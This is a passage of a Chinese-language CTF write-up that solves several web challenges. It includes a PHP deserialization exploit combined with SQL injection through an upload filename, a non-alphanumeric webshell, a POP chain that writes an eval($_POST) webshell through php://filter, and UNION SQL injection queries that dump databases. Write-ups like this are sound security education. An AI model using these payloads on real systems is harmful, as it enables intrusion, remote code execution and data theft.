->save($array ); if ($id == 0 ){ die ("Something wrong!" ); } echo "<br>" ; echo "<p>Your images is uploaded successfully. And your image's id is $id .</p>" ; } public function getfile ($input ) { if (isset ($input )){ $rs = $this ->check($_FILES [$input ]); } return $rs ; } public function check ($info ) { $basename = substr(md5(time().uniqid()),9 ,16 ); $filename = $info ["name" ]; $ext = substr(strrchr($filename , '.' ), 1 ); $cate_exts = array ("jpg" ,"gif" ,"png" ,"jpeg" ); if (!in_array($ext ,$cate_exts )){ die ("<p>Please upload the correct image file!!!</p>" ); } $title = str_replace("." .$ext ,'' ,$filename ); return array ('title' =>$title ,'filename' =>$basename ."." .$ext ,'ext' =>$ext ,'path' =>$this ->folder.$basename ."." .$ext ); } public function save ($data ) { if (!$data || !is_array($data )){ die ("Something wrong!" ); } $id = $this ->insert_array($data ); return $id ; } public function insert_array ($data ) { $con = mysqli_connect("127.0.0.1" ,"root" ,"root" ,"pic_base" ); if (mysqli_connect_errno($con )) { die ("Connect MySQL Fail:" .mysqli_connect_error()); } $sql_fields = array (); $sql_val = array (); foreach ($data as $key =>$value ){ $key_temp = str_replace(chr(0 ).'*' .chr(0 ), '\0\0\0' , $key ); $value_temp = str_replace(chr(0 ).'*' .chr(0 ), '\0\0\0' , $value ); $sql_fields [] = "`" .$key_temp ."`" ; $sql_val [] = "'" .$value_temp ."'" ; } $sql = "INSERT INTO images (" .(implode("," ,$sql_fields )).") VALUES(" .(implode("," ,$sql_val )).")" ; mysqli_query($con , $sql ); $id = mysqli_insert_id($con ); mysqli_close($con ); return $id ; } public function view_files ($path ) { if ($this ->ifview == False ){ return False ; } $content = file_get_contents($path ); echo $content ; } function __destruct ( ) { $this ->view_files($this ->config); } } ?>
可以发现view_files方法中file_get_contents,可以进行文件读取,而show.php中存在unserialize,那么就可以进行反序列化读取文件。
PHP反序列化 构造poc
1 2 3 4 5 6 7 8 9 <?php class helper { protected $config = "/flag" ; protected $ifview = true ; } $x = new helper();echo bin2hex(serialize($x ));
使用十六进制编码是为了绕过protected。
sql注入 反序列化构造完成了,接下来就是看看如何到达入口。
从show.php中可以看出,入口是sql读取的attr键值,而我们在上传时会经过一个check()函数。
1 2 3 4 5 6 7 8 9 10 11 12 public function check ($info ) { $basename = substr(md5(time().uniqid()),9 ,16 ); $filename = $info ["name" ]; $ext = substr(strrchr($filename , '.' ), 1 ); $cate_exts = array ("jpg" ,"gif" ,"png" ,"jpeg" ); if (!in_array($ext ,$cate_exts )){ die ("<p>Please upload the correct image file!!!</p>" ); } $title = str_replace("." .$ext ,'' ,$filename ); return array ('title' =>$title ,'filename' =>$basename ."." .$ext ,'ext' =>$ext ,'path' =>$this ->folder.$basename ."." .$ext ); }
这里我们只有$filename可控,而$title的值为上传的文件名去掉后缀的值,即上传了一个文件名为a.png,则title为a。
于是我们可以控制title时后面的语句失效,从而达到控制变量的目的,这样attr的键值就可控了。
修改文件名上传。
filename=”1’,’1’,’1’,’1’,0x4f3a363a2268656c706572223a323a7b733a393a22002a00636f6e666967223b733a353a222f666c6167223b733a393a22002a00696676696577223b623a313b7d)#.png”
上传后去show.php执行,就可以拿到flag了。
flag{ab9b67fb-c05c-45ce-b223-c9bb1247dc34}
[SUCTF 2018]GetShell 无字母数字upload 找了找发现只有upload的点,还有黑名单。
1 2 3 4 5 6 7 8 if ($contents =file_get_contents($_FILES ["file" ]["tmp_name" ])){ $data =substr($contents ,5 ); foreach ($black_char as $b ) { if (stripos($data , $b ) !== false ){ die ("illegal char" ); } } }
简单测试一下发现只给了一些字符,字母和数字都ban了。
异或也没了,那只能取反了,这里直接给poc。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php $__ =[];$_ =($__ ==$__ ); $__ =~(融); $___ =$__ [$_ ];$__ =~(匆); $___ .=$__ [$_ ].$__ [$_ ];$__ =~(随); $___ .=$__ [$_ ];$__ =~(千); $___ .=$__ [$_ ];$__ =~(苦); $___ .=$__ [$_ ];$____ =~(~(_)); $__ =~(诗); $____ .=$__ [$_ ];$__ =~(尘); $____ .=$__ [$_ ];$__ =~(欣); $____ .=$__ [$_ ];$__ =~(站); $____ .=$__ [$_ ];$_ =$$____ ;$___ ($_ [_]);
上传后在phpinfo的环境变量里可以看到flag。
[EIS 2019]EzPOP 题目给出源码,有点复杂的 POP 链构造,但主要知识点不难。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 <?php error_reporting(0 ); class A { protected $store ; protected $key ; protected $expire ; public function __construct ($store , $key = 'flysystem' , $expire = null ) { $this ->key = $key ; $this ->store = $store ; $this ->expire = $expire ; } public function cleanContents (array $contents ) { $cachedProperties = array_flip([ 'path' , 'dirname' , 'basename' , 'extension' , 'filename' , 'size' , 'mimetype' , 'visibility' , 'timestamp' , 'type' , ]); foreach ($contents as $path => $object ) { if (is_array($object )) { $contents [$path ] = array_intersect_key($object , $cachedProperties ); } } return $contents ; } public function getForStorage ( ) { $cleaned = $this ->cleanContents($this ->cache); return json_encode([$cleaned , $this ->complete]); } public function save ( ) { $contents = $this ->getForStorage(); $this ->store->set($this ->key, $contents , $this ->expire); } public function __destruct ( ) { if (!$this ->autosave) { $this ->save(); } } } class B { protected function getExpireTime ($expire ): int { return (int ) $expire ; } public function getCacheKey (string $name ): string { return $this ->options['prefix' ] . $name ; } protected function serialize ($data ): string { if (is_numeric($data )) { return (string ) $data ; } $serialize = $this ->options['serialize' ]; return $serialize ($data ); } public function set ($name , $value , $expire = null ): bool { $this ->writeTimes++; if (is_null($expire )) { $expire = $this ->options['expire' ]; } $expire = $this ->getExpireTime($expire ); $filename = $this ->getCacheKey($name ); $dir = dirname($filename ); if (!is_dir($dir )) { try { mkdir($dir , 0755 , true ); } catch (\Exception $e ) { } } $data = $this ->serialize($value ); if ($this ->options['data_compress' ] && function_exists('gzcompress' )) { $data = gzcompress($data , 3 ); } $data = "<?php\n//" . sprintf('%012d' , $expire ) . "\n exit();?>\n" . $data ; $result = file_put_contents($filename , $data ); if ($result ) { return true ; } return false ; } } if (isset ($_GET ['src' ])){ highlight_file(__FILE__ ); } $dir = "uploads/" ;if (!is_dir($dir )){ mkdir($dir ); } unserialize($_GET ["data" ]);
主要的点是这里
1 2 $data = "<?php\n//" . sprintf('%012d' , $expire ) . "\n exit();?>\n" . $data ;$result = file_put_contents($filename , $data );
这里就是要绕过 死亡exit 了,具体看P神的解释 ,利用 php://filter/write=convert.base64-decode/resource=
来绕过
其实也没啥好说的,找到攻击点往上推就行了,这里直接放 poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php class A { protected $store ; protected $key ; protected $expire ; public function __construct ( ) { $this ->key = 'R0SW3.php' ; } public function give ($store ) { $this ->store = $store ; } } class B { public $options ; } $a = new A();$b = new B();$b ->options['serialize' ] = 'strval' ;$b ->options['prefix' ] = 'php://filter/write=convert.base64-decode/resource=' ;$b ->options['data_compress' ] = false ;$b ->options['expore' ] = 1 ;$a ->give($b );$object = array ('path' => 'aaa' . base64_encode('<?php eval($_POST["R0SW3"]);?>' ));$path = 'test' ;$a ->cache = array ($path => $object );$a ->complete = 'test' ;echo urlencode(serialize($a ));
tips:由于 A 类里用的是 protected ,最后要记得 urlencode 编码。
最后直接蚁剑连或者进入文件进行RCE就行了。
flag:
flag{4485bf1d-37bc-412f-8e24-6043aebf71a4}
[b01lers2020]Life on Mars 这题的难点是作者放了多个数据库,但其实没 ban 什么东西,好搞。
源码的 life_on_mars.js
提示了注入点(抓包也可以看出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 function get_life (query ) { $.ajax({ type: "GET" , url: "/query?search=" + query, data: "{}" , contentType: "application/json; charset=utf-8" , dataType: "json" , cache: false , success: function (data ) { var table_html = '<table id="results"><tr><th>Name</th><th>Description</th></tr>' ; $.each(data, function (i, item ) { table_html += "<tr><td>" + data[i][0 ] + "</td><td>" + data[i][1 ] + "</td></tr>" ; }); table_html += "</table>" ; $("#results" ).replaceWith(table_html); }, error: function (msg ) { } }); }
这里 /query?search=
参数输入地名就可以查到数据,直接上 union
。
前面的测试不说,当前数据库拿不到东西,直接查其他数据库。
1 url/query?search=amazonis_planitia union select 1,schema_name from information_schema.schemata
查到三个数据库,information_schema
, alien_code
, aliens
。aliens
是当前数据库,information_schema
这个是MySQL自带的信息数据库,那么就只剩下一个了,直接上流程。
查表
1 url/query?search=amazonis_planitia union select 1,group_concat(table_name) from information_schema.tables where table_schema='alien_code'
[“1”,”code”]
查列
1 url/query?search=amazonis_planitia union select 1,group_concat(column_name) from information_schema.columns where table_schema='alien_code' and table_name='code'
[“1”,”id,code”]
查数据
1 url/query?search=amazonis_planitia union select 1,group_concat(code) from alien_code.code
[“1”,”flag{8960d9d6-f9f7-43d7-9396-09f3dc305e0d}”]